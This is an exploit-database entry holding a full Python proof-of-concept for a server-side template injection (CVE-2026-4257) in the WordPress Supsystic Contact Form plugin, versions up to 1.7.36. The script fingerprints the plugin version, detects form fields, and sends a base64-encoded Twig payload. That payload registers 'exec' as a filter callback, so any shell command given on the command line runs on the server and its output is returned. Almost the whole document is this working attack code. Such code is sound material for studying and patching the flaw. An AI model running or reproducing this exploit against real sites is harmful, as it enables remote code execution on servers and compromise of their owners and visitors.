Share
## https://sploitus.com/exploit?id=PACKETSTORM:221082
# Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI
    # Date: 3/30/2026
    # Exploit Author: bootstrapbool
    # Vendor Homepage: https://supsystic.com/plugins/contact-form-plugin/
    # Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/
    # Version: <= 1.7.36
    # Tested on: Ubuntu 24 and Windows 10
    # CVE : CVE-2026-4257
    
    
    import argparse
    import base64
    import re
    import requests
    
    class status:
        OKGREEN = "\033[32m"
        WARNING = "\033[33m"
        FAIL = "\033[31m"
        ENDC = "\033[0m"
        NOCOLOR = False
        VERBOSE = False
    
        @classmethod
        def print(cls, message: str, status: str = None):
    
            if cls.NOCOLOR:
                print(message)
                return
    
            match status:
                case "FAIL":
                    print(f"{cls.FAIL}{message}{cls.ENDC}")
                case "WARNING":
                    print(f"{cls.WARNING}{message}{cls.ENDC}")
                case "SUCCESS":
                    print(f"{cls.OKGREEN}{message}{cls.ENDC}")
                case _:
                    print(message)
    
        @classmethod
        def vprint(cls, message: str, status: str = None):
            if cls.VERBOSE:
                cls.print(message, status)
    
    def get_page(url: str) -> str:
    
        try:
            res = requests.get(url)
            res.raise_for_status()
        except requests.excpetions.RequestException as e:
            status.print(f"Request to {url} failed with {res.status_code}")
            exit(1)
    
        if res.status_code != 200:
            status.print(f"Got {res.status_code} for request to: {url}", "WARNING")
    
        return res.text
    
    def get_version(body: str) -> str | None:
        pattern = r'suptablesui.min.css\?ver=([0-9\.]+)'
    
        match = re.search(pattern, body)
    
        if match:
            return match.group(1)
    
    def is_vulnerable(version: str) -> bool:
    
        try:
            major, minor, patch = map(int, version.split("."))
            return (major, minor, patch) <= (1, 7, 36)
        except:
            status.vprint(f"Failed to parse version.", "WARNING")
    
    def detect_version(body: str):
        version = get_version(body)
    
        vulnerable = is_vulnerable(version)
        if vulnerable:
            status.vprint(f"Detected version {version} is vulnerable.", "SUCCESS")
        elif vulnerable != None:
            status.vprint(
                f"Detected version {version} is not vulnerable.",
                "WARNING")
    
    def detect_fields(body: str) -> list[str] | None:
        """Automatically attempt to get Contact Form fields to use for SSTI"""
    
        pattern = r'data-name="([^"]+)"'
    
        field_names = list(set(re.findall(pattern, body)))
    
        if field_names:
            status.print(f"Detected fields: {field_names}", "SUCCESS")
            return field_names
    
    def handle_field(body: str, field: str | None) -> str:
    
        if field:
            return field
    
        fields = detect_fields(body)
    
        if fields is not None:
            status.vprint(f"Using automatically detected field: {fields[0]}")
    
            return fields[0]
    
        status.print("Failed to detect fields.", "FAIL")
        exit(1)
    
    def get_output(field: str, body: str) -> str | None:
    
        pattern = rf'name="fields\[{re.escape(field)}\]"\s+value="([^"]+)"'
        match = re.search(pattern, body)
    
        if match:
            return match.group(1)
    
    def exploit(url: str, payload: str, field: str) -> str | None:
    
        utf8_var = "{%set a%}UTF-8{%endset%}"
        base64_var = "{%set b%}BASE64{%endset%}"
    
        twig_payload = "{%set p%}" +  base64.urlsafe_b64encode(payload.encode('utf-8')).decode('utf-8') + "{%endset%}"
    
        # The () ensures the variables are not treated as string literals
        twig_payload_decode = "{%set p = p|convert_encoding((a), (b))%}"
    
        register_callback = "{%set e%}exec{%endset%}{{_self.env.registerUndefinedFilterCallback(e|lower)}}"
    
        exec_filter = "{{_self.env.getFilter(p)}}"
    
        ssti_payload = utf8_var + base64_var + twig_payload + twig_payload_decode + register_callback + exec_filter
        status.vprint(f"Payload: {payload}")
    
        params = {
            "cfsPreFill": 1,
            field: ssti_payload}
    
        try:
            res = requests.get(url, params)
            res.raise_for_status()
        except requests.excpetions.RequestException as e:
            status.print(f"Request to {url} failed with {res.status_code}")
            exit(1)
    
        if res.status_code != 200:
            status.print(f"Got {res.status_code} for request to: {url}", "WARNING")
    
        return get_output(field, res.text)
    
    def main():
        parser = argparse.ArgumentParser()
        parser.add_argument(
            "--field",
            type = str,
            help = ("Valid field part of the Contact Form. The defaults are "
                + "first_name, last_name, subject, message, and email. Though it's "
                + "possible for none of these fields to appear. Not all field types"
                + "work. The tested field types that are confirmed to work are"
                + "Text, Textarea, Number, Email, Time, and URL. Buttons do not "
                + "work."))
        parser.add_argument(
            "--no-color",
            action = "store_true",
            help = "If you dont want pretty colors in your output.")
        parser.add_argument(
            "--verbose",
            "-v",
            action = "store_true")
        parser.add_argument(
            "url",
            type = str,
            help = ("Full URL to page with vulnerable Contact Form component. " \
                + "Ex: http://localhost:4444/sample.php"))
        parser.add_argument(
            "payload",
            type = str,
            default = None,
            help = ("Shell commands to be executed."))
    
        args = parser.parse_args()
    
        status.NOCOLOR = args.no_color
        status.VERBOSE = args.verbose
    
        body = get_page(args.url)
    
        detect_version(body)
        field = handle_field(body, args.field)
    
        output = exploit(args.url, args.payload, field)
    
        if output:
            if output.lower() == field.lower():
                status.print(
                    "Output is same as field. Maybe try a different field?",
                    "WARNING")
            status.print(output)
        else:
            status.print(
                f"Failed to extract output with field '{field}'",
                "FAIL")
    
    if __name__ == "__main__":
        main()